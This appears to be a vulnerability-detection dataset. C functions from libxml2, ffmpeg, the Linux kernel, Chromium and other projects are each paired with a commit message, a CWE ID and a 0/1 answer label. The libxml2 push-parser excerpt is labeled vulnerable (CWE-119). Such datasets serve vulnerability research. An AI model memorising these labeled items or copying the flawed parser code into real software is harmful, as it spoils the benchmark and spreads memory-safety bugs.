(avail < 9)) {
goto done;
} else if (cur == '&') {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, ';', 0, 0) < 0))
goto done;
xmlParseReference(ctxt);
} else {
/* TODO Avoid the extra copy, handle directly !!! */
/*
* Goal of the following test is:
* - minimize calls to the SAX 'character' callback
* when they are mergeable
* - handle an problem for isBlank when we only parse
* a sequence of blank chars and the next one is
* not available to check against '<' presence.
* - tries to homogenize the differences in SAX
* callbacks between the push and pull versions
* of the parser.
*/
if ((ctxt->inputNr == 1) &&
(avail < XML_PARSER_BIG_BUFFER_SIZE)) {
if (!terminate) {
if (ctxt->progressive) {
if ((lastlt == NULL) ||
(ctxt->input->cur > lastlt))
goto done;
} else if (xmlParseLookupSequence(ctxt,
'<', 0, 0) < 0) {
goto done;
}
}
}
ctxt->checkIndex = 0;
xmlParseCharData(ctxt, 0);
}
/*
* Pop-up of finished entities.
*/
while ((RAW == 0) && (ctxt->inputNr > 1))
xmlPopInput(ctxt);
if ((cons == ctxt->input->consumed) && (test == CUR_PTR)) {
xmlFatalErr(ctxt, XML_ERR_INTERNAL_ERROR,
"detected an error in element content\n");
ctxt->instate = XML_PARSER_EOF;
break;
}
break;
}
case XML_PARSER_END_TAG:
if (avail < 2)
goto done;
if (!terminate) {
if (ctxt->progressive) {
/* > can be found unescaped in attribute values */
if ((lastgt == NULL) || (ctxt->input->cur >= lastgt))
goto done;
} else if (xmlParseLookupSequence(ctxt, '>', 0, 0) < 0) {
goto done;
}
}
if (ctxt->sax2) {
xmlParseEndTag2(ctxt,
(void *) ctxt->pushTab[ctxt->nameNr * 3 - 3],
(void *) ctxt->pushTab[ctxt->nameNr * 3 - 2], 0,
(int) (long) ctxt->pushTab[ctxt->nameNr * 3 - 1], 0);
nameNsPop(ctxt);
}
#ifdef LIBXML_SAX1_ENABLED
else
xmlParseEndTag1(ctxt, 0);
#endif /* LIBXML_SAX1_ENABLED */
if (ctxt->instate == XML_PARSER_EOF) {
/* Nothing */
} else if (ctxt->nameNr == 0) {
ctxt->instate = XML_PARSER_EPILOG;
} else {
ctxt->instate = XML_PARSER_CONTENT;
}
break;
case XML_PARSER_CDATA_SECTION: {
/*
* The Push mode need to have the SAX callback for
* cdataBlock merge back contiguous callbacks.
*/
int base;
base = xmlParseLookupSequence(ctxt, ']', ']', '>');
if (base < 0) {
if (avail >= XML_PARSER_BIG_BUFFER_SIZE + 2) {
int tmp;
tmp = xmlCheckCdataPush(ctxt->input->cur,
XML_PARSER_BIG_BUFFER_SIZE);
if (tmp < 0) {
tmp = -tmp;
ctxt->input->cur += tmp;
goto encoding_error;
}
if ((ctxt->sax != NULL) && (!ctxt->disableSAX)) {
if (ctxt->sax->cdataBlock != NULL)
ctxt->sax->cdataBlock(ctxt->userData,
ctxt->input->cur, tmp);
else if (ctxt->sax->characters != NULL)
ctxt->sax->characters(ctxt->userData,
ctxt->input->cur, tmp);
}
SKIPL(tmp);
ctxt->checkIndex = 0;
}
goto done;
} else {
int tmp;
tmp = xmlCheckCdataPush(ctxt->input->cur, base);
if ((tmp < 0) || (tmp != base)) {
tmp = -tmp;
ctxt->input->cur += tmp;
goto encoding_error;
}
if ((ctxt->sax != NULL) && (base == 0) &&
(ctxt->sax->cdataBlock != NULL) &&
(!ctxt->disableSAX)) {
/*
* Special case to provide identical behaviour
* between pull and push parsers on enpty CDATA
* sections
*/
if ((ctxt->input->cur - ctxt->input->base >= 9) &&
(!strncmp((const char *)&ctxt->input->cur[-9],
"<![CDATA[", 9)))
ctxt->sax->cdataBlock(ctxt->userData,
BAD_CAST "", 0);
} else if ((ctxt->sax != NULL) && (base > 0) &&
(!ctxt->disableSAX)) {
if (ctxt->sax->cdataBlock != NULL)
ctxt->sax->cdataBlock(ctxt->userData,
ctxt->input->cur, base);
else if (ctxt->sax->characters != NULL)
ctxt->sax->characters(ctxt->userData,
ctxt->input->cur, base);
}
SKIPL(base + 3);
ctxt->checkIndex = 0;
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering CONTENT\n");
#endif
}
break;
}
case XML_PARSER_MISC:
SKIP_BLANKS;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length -
(ctxt->input->cur - ctxt->input->base);
else
avail = ctxt->input->buf->buffer->use -
(ctxt->input->cur - ctxt->input->base);
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing PI\n");
#endif
xmlParsePI(ctxt);
ctxt->checkIndex = 0;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') &&
(ctxt->input->cur[3] == '-')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '-', '-', '>') < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing Comment\n");
#endif
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_MISC;
ctxt->checkIndex = 0;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == 'D') &&
(ctxt->input->cur[3] == 'O') &&
(ctxt->input->cur[4] == 'C') &&
(ctxt->input->cur[5] == 'T') &&
(ctxt->input->cur[6] == 'Y') &&
(ctxt->input->cur[7] == 'P') &&
(ctxt->input->cur[8] == 'E')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '>', 0, 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing internal subset\n");
#endif
ctxt->inSubset = 1;
xmlParseDocTypeDecl(ctxt);
if (RAW == '[') {
ctxt->instate = XML_PARSER_DTD;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
} else {
/*
* Create and update the external subset.
*/
ctxt->inSubset = 2;
if ((ctxt->sax != NULL) && (!ctxt->disableSAX) &&
(ctxt->sax->externalSubset != NULL))
ctxt->sax->externalSubset(ctxt->userData,
ctxt->intSubName, ctxt->extSubSystem,
ctxt->extSubURI);
ctxt->inSubset = 0;
xmlCleanSpecialAttr(ctxt);
ctxt->instate = XML_PARSER_PROLOG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering PROLOG\n");
#endif
}
} else if ((cur == '<') && (next == '!') &&
(avail < 9)) {
goto done;
} else {
ctxt->instate = XML_PARSER_START_TAG;
ctxt->progressive = 1;
xmlParseGetLasts(ctxt, &lastlt, &lastgt);
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
}
break;
case XML_PARSER_PROLOG:
SKIP_BLANKS;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length - (ctxt->input->cur - ctxt->input->base);
else
avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base);
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing PI\n");
#endif
xmlParsePI(ctxt);
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '-', '-', '>') < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing Comment\n");
#endif
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_PROLOG;
} else if ((cur == '<') && (next == '!') &&
(avail < 4)) {
goto done;
} else {
ctxt->instate = XML_PARSER_START_TAG;
if (ctxt->progressive == 0)
ctxt->progressive = 1;
xmlParseGetLasts(ctxt, &lastlt, &lastgt);
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
}
break;
case XML_PARSER_EPILOG:
SKIP_BLANKS;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length - (ctxt->input->cur - ctxt->input->base);
else
avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base);
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing PI\n");
#endif
xmlParsePI(ctxt);
ctxt->instate = XML_PARSER_EPILOG;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '-', '-', '>') < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing Comment\n");
#endif
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_EPILOG;
} else if ((cur == '<') && (next == '!') &&
(avail < 4)) {
goto done;
} else {
xmlFatalErr(ctxt, XML_ERR_DOCUMENT_END, NULL);
ctxt->instate = XML_PARSER_EOF;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering EOF\n");
#endif
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
break;
case XML_PARSER_DTD: {
/*
* Sorry but progressive parsing of the internal subset
* is not expected to be supported. We first check that
* the full content of the internal subset is available and
* the parsing is launched only at that point.
* Internal subset ends up with "']' S? '>'" in an unescaped
* section and not in a ']]>' sequence which are conditional
* sections (whoever argued to keep that crap in XML deserve
* a place in hell !).
*/
int base, i;
xmlChar *buf;
xmlChar quote = 0;
base = ctxt->input->cur - ctxt->input->base;
if (base < 0) return(0);
if (ctxt->checkIndex > base)
base = ctxt->checkIndex;
buf = ctxt->input->buf->buffer->content;
for (;(unsigned int) base < ctxt->input->buf->buffer->use;
base++) {
if (quote != 0) {
if (buf[base] == quote)
quote = 0;
continue;
}
if ((quote == 0) && (buf[base] == '<')) {
int found = 0;
/* special handling of comments */
if (((unsigned int) base + 4 <
ctxt->input->buf->buffer->use) &&
(buf[base + 1] == '!') &&
(buf[base + 2] == '-') &&
(buf[base + 3] == '-')) {
for (;(unsigned int) base + 3 <
ctxt->input->buf->buffer->use; base++) {
if ((buf[base] == '-') &&
(buf[base + 1] == '-') &&
(buf[base + 2] == '>')) {
found = 1;
base += 2;
break;
}
}
if (!found) {
#if 0
fprintf(stderr, "unfinished comment\n");
#endif
break; /* for */
}
continue;
}
}
if (buf[base] == '"') {
quote = '"';
continue;
}
if (buf[base] == '\'') {
quote = '\'';
continue;
}
if (buf[base] == ']') {
#if 0
fprintf(stderr, "%c%c%c%c: ", buf[base],
buf[base + 1], buf[base + 2], buf[base + 3]);
#endif
if ((unsigned int) base +1 >=
ctxt->input->buf->buffer->use)
break;
if (buf[base + 1] == ']') {
/* conditional crap, skip both ']' ! */
base++;
continue;
}
for (i = 1;
(unsigned int) base + i < ctxt->input->buf->buffer->use;
i++) {
if (buf[base + i] == '>') {
#if 0
fprintf(stderr, "found\n");
#endif
goto found_end_int_subset;
}
if (!IS_BLANK_CH(buf[base + i])) {
#if 0
fprintf(stderr, "not found\n");
#endif
goto not_end_of_int_subset;
}
}
#if 0
fprintf(stderr, "end of stream\n");
#endif
break;
}
not_end_of_int_subset:
continue; /* for */
}
/*
* We didn't found the end of the Internal subset
*/
#ifdef DEBUG_PUSH
if (next == 0)
xmlGenericError(xmlGenericErrorContext,
"PP: lookup of int subset end filed\n");
#endif
goto done;
found_end_int_subset:
xmlParseInternalSubset(ctxt);
ctxt->inSubset = 2;
if ((ctxt->sax != NULL) && (!ctxt->disableSAX) &&
(ctxt->sax->externalSubset != NULL))
ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName,
ctxt->extSubSystem, ctxt->extSubURI);
ctxt->inSubset = 0;
xmlCleanSpecialAttr(ctxt);
ctxt->instate = XML_PARSER_PROLOG;
ctxt->checkIndex = 0;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering PROLOG\n");
#endif
break;
}
case XML_PARSER_COMMENT:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == COMMENT\n");
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering CONTENT\n");
#endif
break;
case XML_PARSER_IGNORE:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == IGNORE");
ctxt->instate = XML_PARSER_DTD;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
break;
case XML_PARSER_PI:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == PI\n");
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering CONTENT\n");
#endif
break;
case XML_PARSER_ENTITY_DECL:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == ENTITY_DECL\n");
ctxt->instate = XML_PARSER_DTD;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
break;
case XML_PARSER_ENTITY_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == ENTITY_VALUE\n");
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
break;
case XML_PARSER_ATTRIBUTE_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == ATTRIBUTE_VALUE\n");
ctxt->instate = XML_PARSER_START_TAG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
break;
case XML_PARSER_SYSTEM_LITERAL:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == SYSTEM_LITERAL\n");
ctxt->instate = XML_PARSER_START_TAG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
break;
case XML_PARSER_PUBLIC_LITERAL:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == PUBLIC_LITERAL\n");
ctxt->instate = XML_PARSER_START_TAG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
break;
}
}
done:
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext, "PP: done %d\n", ret);
#endif
return(ret);
encoding_error:
{
char buffer[150];
snprintf(buffer, 149, "Bytes: 0x%02X 0x%02X 0x%02X 0x%02X\n",
ctxt->input->cur[0], ctxt->input->cur[1],
ctxt->input->cur[2], ctxt->input->cur[3]);
__xmlErrEncoding(ctxt, XML_ERR_INVALID_CHAR,
"Input is not proper UTF-8, indicate encoding !\n%s",
BAD_CAST buffer, NULL);
}
return(0);
}
Commit Message: libxml: XML_PARSER_EOF checks from upstream
BUG=229019
TBR=cpu
Review URL: https://chromiumcodereview.appspot.com/14053009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@196804 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 1
| 171,307
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int decompress_i(AVCodecContext *avctx, uint32_t *dst, int linesize)
{
SCPRContext *s = avctx->priv_data;
GetByteContext *gb = &s->gb;
int cx = 0, cx1 = 0, k = 0, clr = 0;
int run, r, g, b, off, y = 0, x = 0, z, ret;
unsigned backstep = linesize - avctx->width;
const int cxshift = s->cxshift;
unsigned lx, ly, ptype;
reinit_tables(s);
bytestream2_skip(gb, 2);
init_rangecoder(&s->rc, gb);
while (k < avctx->width + 1) {
ret = decode_unit(s, &s->pixel_model[0][cx + cx1], 400, &r);
if (ret < 0)
return ret;
cx1 = (cx << 6) & 0xFC0;
cx = r >> cxshift;
ret = decode_unit(s, &s->pixel_model[1][cx + cx1], 400, &g);
if (ret < 0)
return ret;
cx1 = (cx << 6) & 0xFC0;
cx = g >> cxshift;
ret = decode_unit(s, &s->pixel_model[2][cx + cx1], 400, &b);
if (ret < 0)
return ret;
cx1 = (cx << 6) & 0xFC0;
cx = b >> cxshift;
ret = decode_value(s, s->run_model[0], 256, 400, &run);
if (ret < 0)
return ret;
clr = (b << 16) + (g << 8) + r;
k += run;
while (run-- > 0) {
if (y >= avctx->height)
return AVERROR_INVALIDDATA;
dst[y * linesize + x] = clr;
lx = x;
ly = y;
x++;
if (x >= avctx->width) {
x = 0;
y++;
}
}
}
off = -linesize - 1;
ptype = 0;
while (x < avctx->width && y < avctx->height) {
ret = decode_value(s, s->op_model[ptype], 6, 1000, &ptype);
if (ret < 0)
return ret;
if (ptype == 0) {
ret = decode_unit(s, &s->pixel_model[0][cx + cx1], 400, &r);
if (ret < 0)
return ret;
cx1 = (cx << 6) & 0xFC0;
cx = r >> cxshift;
ret = decode_unit(s, &s->pixel_model[1][cx + cx1], 400, &g);
if (ret < 0)
return ret;
cx1 = (cx << 6) & 0xFC0;
cx = g >> cxshift;
ret = decode_unit(s, &s->pixel_model[2][cx + cx1], 400, &b);
if (ret < 0)
return ret;
clr = (b << 16) + (g << 8) + r;
}
if (ptype > 5)
return AVERROR_INVALIDDATA;
ret = decode_value(s, s->run_model[ptype], 256, 400, &run);
if (ret < 0)
return ret;
switch (ptype) {
case 0:
while (run-- > 0) {
if (y >= avctx->height)
return AVERROR_INVALIDDATA;
dst[y * linesize + x] = clr;
lx = x;
ly = y;
x++;
if (x >= avctx->width) {
x = 0;
y++;
}
}
break;
case 1:
while (run-- > 0) {
if (y >= avctx->height)
return AVERROR_INVALIDDATA;
dst[y * linesize + x] = dst[ly * linesize + lx];
lx = x;
ly = y;
x++;
if (x >= avctx->width) {
x = 0;
y++;
}
}
clr = dst[ly * linesize + lx];
break;
case 2:
while (run-- > 0) {
if (y < 1 || y >= avctx->height)
return AVERROR_INVALIDDATA;
clr = dst[y * linesize + x + off + 1];
dst[y * linesize + x] = clr;
lx = x;
ly = y;
x++;
if (x >= avctx->width) {
x = 0;
y++;
}
}
break;
case 4:
while (run-- > 0) {
uint8_t *odst = (uint8_t *)dst;
if (y < 1 || y >= avctx->height ||
(y == 1 && x == 0))
return AVERROR_INVALIDDATA;
if (x == 0) {
z = backstep;
} else {
z = 0;
}
r = odst[(ly * linesize + lx) * 4] +
odst[((y * linesize + x) + off - z) * 4 + 4] -
odst[((y * linesize + x) + off - z) * 4];
g = odst[(ly * linesize + lx) * 4 + 1] +
odst[((y * linesize + x) + off - z) * 4 + 5] -
odst[((y * linesize + x) + off - z) * 4 + 1];
b = odst[(ly * linesize + lx) * 4 + 2] +
odst[((y * linesize + x) + off - z) * 4 + 6] -
odst[((y * linesize + x) + off - z) * 4 + 2];
clr = ((b & 0xFF) << 16) + ((g & 0xFF) << 8) + (r & 0xFF);
dst[y * linesize + x] = clr;
lx = x;
ly = y;
x++;
if (x >= avctx->width) {
x = 0;
y++;
}
}
break;
case 5:
while (run-- > 0) {
if (y < 1 || y >= avctx->height ||
(y == 1 && x == 0))
return AVERROR_INVALIDDATA;
if (x == 0) {
z = backstep;
} else {
z = 0;
}
clr = dst[y * linesize + x + off - z];
dst[y * linesize + x] = clr;
lx = x;
ly = y;
x++;
if (x >= avctx->width) {
x = 0;
y++;
}
}
break;
}
if (avctx->bits_per_coded_sample == 16) {
cx1 = (clr & 0x3F00) >> 2;
cx = (clr & 0xFFFFFF) >> 16;
} else {
cx1 = (clr & 0xFC00) >> 4;
cx = (clr & 0xFFFFFF) >> 18;
}
}
return 0;
}
Commit Message: avcodec/scpr: Fix multiple runtime error: index 256 out of bounds for type 'unsigned int [256]'
Fixes: 1519/clusterfuzz-testcase-minimized-5286680976162816
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-119
| 0
| 95,318
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int dev_addr_del(struct net_device *dev, unsigned char *addr,
unsigned char addr_type)
{
int err;
struct netdev_hw_addr *ha;
ASSERT_RTNL();
/*
* We can not remove the first address from the list because
* dev->dev_addr points to that.
*/
ha = list_first_entry(&dev->dev_addrs.list,
struct netdev_hw_addr, list);
if (ha->addr == dev->dev_addr && ha->refcount == 1)
return -ENOENT;
err = __hw_addr_del(&dev->dev_addrs, addr, dev->addr_len,
addr_type);
if (!err)
call_netdevice_notifiers(NETDEV_CHANGEADDR, dev);
return err;
}
Commit Message: veth: Dont kfree_skb() after dev_forward_skb()
In case of congestion, netif_rx() frees the skb, so we must assume
dev_forward_skb() also consume skb.
Bug introduced by commit 445409602c092
(veth: move loopback logic to common location)
We must change dev_forward_skb() to always consume skb, and veth to not
double free it.
Bug report : http://marc.info/?l=linux-netdev&m=127310770900442&w=3
Reported-by: Martín Ferrari <martin.ferrari@gmail.com>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399
| 0
| 32,091
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void ActivityLoggingAccessForAllWorldsMethodMethod(const v8::FunctionCallbackInfo<v8::Value>& info) {
TestObject* impl = V8TestObject::ToImpl(info.Holder());
impl->activityLoggingAccessForAllWorldsMethod();
}
Commit Message: bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <peria@chromium.org>
Commit-Queue: Yuki Shiino <yukishiino@chromium.org>
Cr-Commit-Position: refs/heads/master@{#718676}
CWE ID:
| 0
| 134,469
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int stb_vorbis_seek_frame(stb_vorbis *f, unsigned int sample_number)
{
uint32 max_frame_samples;
if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing);
if (!seek_to_sample_coarse(f, sample_number))
return 0;
assert(f->current_loc_valid);
assert(f->current_loc <= sample_number);
max_frame_samples = (f->blocksize_1*3 - f->blocksize_0) >> 2;
while (f->current_loc < sample_number) {
int left_start, left_end, right_start, right_end, mode, frame_samples;
if (!peek_decode_initial(f, &left_start, &left_end, &right_start, &right_end, &mode))
return error(f, VORBIS_seek_failed);
frame_samples = right_start - left_start;
if (f->current_loc + frame_samples > sample_number) {
return 1; // the next frame will contain the sample
} else if (f->current_loc + frame_samples + max_frame_samples > sample_number) {
vorbis_pump_first_frame(f);
} else {
f->current_loc += frame_samples;
f->previous_length = 0;
maybe_start_packet(f);
flush_packet(f);
}
}
assert(f->current_loc == sample_number);
return 1;
}
Commit Message: fix unchecked length in stb_vorbis that could crash on corrupt/invalid files
CWE ID: CWE-119
| 0
| 75,324
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual void willSendRequest(WebFrame* frame, unsigned, WebURLRequest& request, const WebURLResponse&)
{
m_policy = request.cachePolicy();
m_willSendRequestCallCount++;
}
Commit Message: Revert 162155 "This review merges the two existing page serializ..."
Change r162155 broke the world even though it was landed using the CQ.
> This review merges the two existing page serializers, WebPageSerializerImpl and
> PageSerializer, into one, PageSerializer. In addition to this it moves all
> the old tests from WebPageNewSerializerTest and WebPageSerializerTest to the
> PageSerializerTest structure and splits out one test for MHTML into a new
> MHTMLTest file.
>
> Saving as 'Webpage, Complete', 'Webpage, HTML Only' and as MHTML when the
> 'Save Page as MHTML' flag is enabled now uses the same code, and should thus
> have the same feature set. Meaning that both modes now should be a bit better.
>
> Detailed list of changes:
>
> - PageSerializerTest: Prepare for more DTD test
> - PageSerializerTest: Remove now unneccesary input image test
> - PageSerializerTest: Remove unused WebPageSerializer/Impl code
> - PageSerializerTest: Move data URI morph test
> - PageSerializerTest: Move data URI test
> - PageSerializerTest: Move namespace test
> - PageSerializerTest: Move SVG Image test
> - MHTMLTest: Move MHTML specific test to own test file
> - PageSerializerTest: Delete duplicate XML header test
> - PageSerializerTest: Move blank frame test
> - PageSerializerTest: Move CSS test
> - PageSerializerTest: Add frameset/frame test
> - PageSerializerTest: Move old iframe test
> - PageSerializerTest: Move old elements test
> - Use PageSerizer for saving web pages
> - PageSerializerTest: Test for rewriting links
> - PageSerializer: Add rewrite link accumulator
> - PageSerializer: Serialize images in iframes/frames src
> - PageSerializer: XHTML fix for meta tags
> - PageSerializer: Add presentation CSS
> - PageSerializer: Rename out parameter
>
> BUG=
> R=abarth@chromium.org
>
> Review URL: https://codereview.chromium.org/68613003
TBR=tiger@opera.com
Review URL: https://codereview.chromium.org/73673003
git-svn-id: svn://svn.chromium.org/blink/trunk@162156 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 118,922
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: randomize(void *pv, size_t size)
{
static png_uint_32 random_seed[2] = {0x56789abc, 0xd};
make_random_bytes(random_seed, pv, size);
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID:
| 0
| 160,025
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int vmci_transport_shutdown(struct vsock_sock *vsk, int mode)
{
return vmci_transport_send_control_pkt(
&vsk->sk,
VMCI_TRANSPORT_PACKET_TYPE_SHUTDOWN,
0, mode, NULL,
VSOCK_PROTO_INVALID,
VMCI_INVALID_HANDLE);
}
Commit Message: VSOCK: vmci - fix possible info leak in vmci_transport_dgram_dequeue()
In case we received no data on the call to skb_recv_datagram(), i.e.
skb->data is NULL, vmci_transport_dgram_dequeue() will return with 0
without updating msg_namelen leading to net/socket.c leaking the local,
uninitialized sockaddr_storage variable to userland -- 128 bytes of
kernel stack memory.
Fix this by moving the already existing msg_namelen assignment a few
lines above.
Cc: Andy King <acking@vmware.com>
Cc: Dmitry Torokhov <dtor@vmware.com>
Cc: George Zhang <georgezhang@vmware.com>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 30,436
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: parse_traffic(char *buf, int len, char *port, uint64_t *traffic)
{
char *data = get_data(buf, len);
char error_buf[512];
json_settings settings = { 0 };
if (data == NULL) {
LOGE("No data found");
return -1;
}
json_value *obj = json_parse_ex(&settings, data, strlen(data), error_buf);
if (obj == NULL) {
LOGE("%s", error_buf);
return -1;
}
if (obj->type == json_object) {
int i = 0;
for (i = 0; i < obj->u.object.length; i++) {
char *name = obj->u.object.values[i].name;
json_value *value = obj->u.object.values[i].value;
if (value->type == json_integer) {
strncpy(port, name, 8);
*traffic = value->u.integer;
}
}
}
json_value_free(obj);
return 0;
}
Commit Message: Fix #1734
CWE ID: CWE-78
| 0
| 60,322
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::DidFailLoadWithError(
RenderFrameHostImpl* render_frame_host,
const GURL& url,
int error_code,
const base::string16& error_description,
bool was_ignored_by_handler) {
for (auto& observer : observers_) {
observer.DidFailLoad(render_frame_host, url, error_code, error_description,
was_ignored_by_handler);
}
}
Commit Message: If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
CWE ID: CWE-20
| 0
| 135,667
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BrowserWindowGtk::InvalidateWindow() {
GtkAllocation allocation;
gtk_widget_get_allocation(GTK_WIDGET(window_), &allocation);
gdk_window_invalidate_rect(gtk_widget_get_window(GTK_WIDGET(window_)),
&allocation, TRUE);
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 117,956
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline CompressionType ConvertPSDCompression(
PSDCompressionType compression)
{
switch (compression)
{
case RLE:
return RLECompression;
case ZipWithPrediction:
case ZipWithoutPrediction:
return ZipCompression;
default:
return NoCompression;
}
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/714
CWE ID: CWE-834
| 0
| 61,499
|
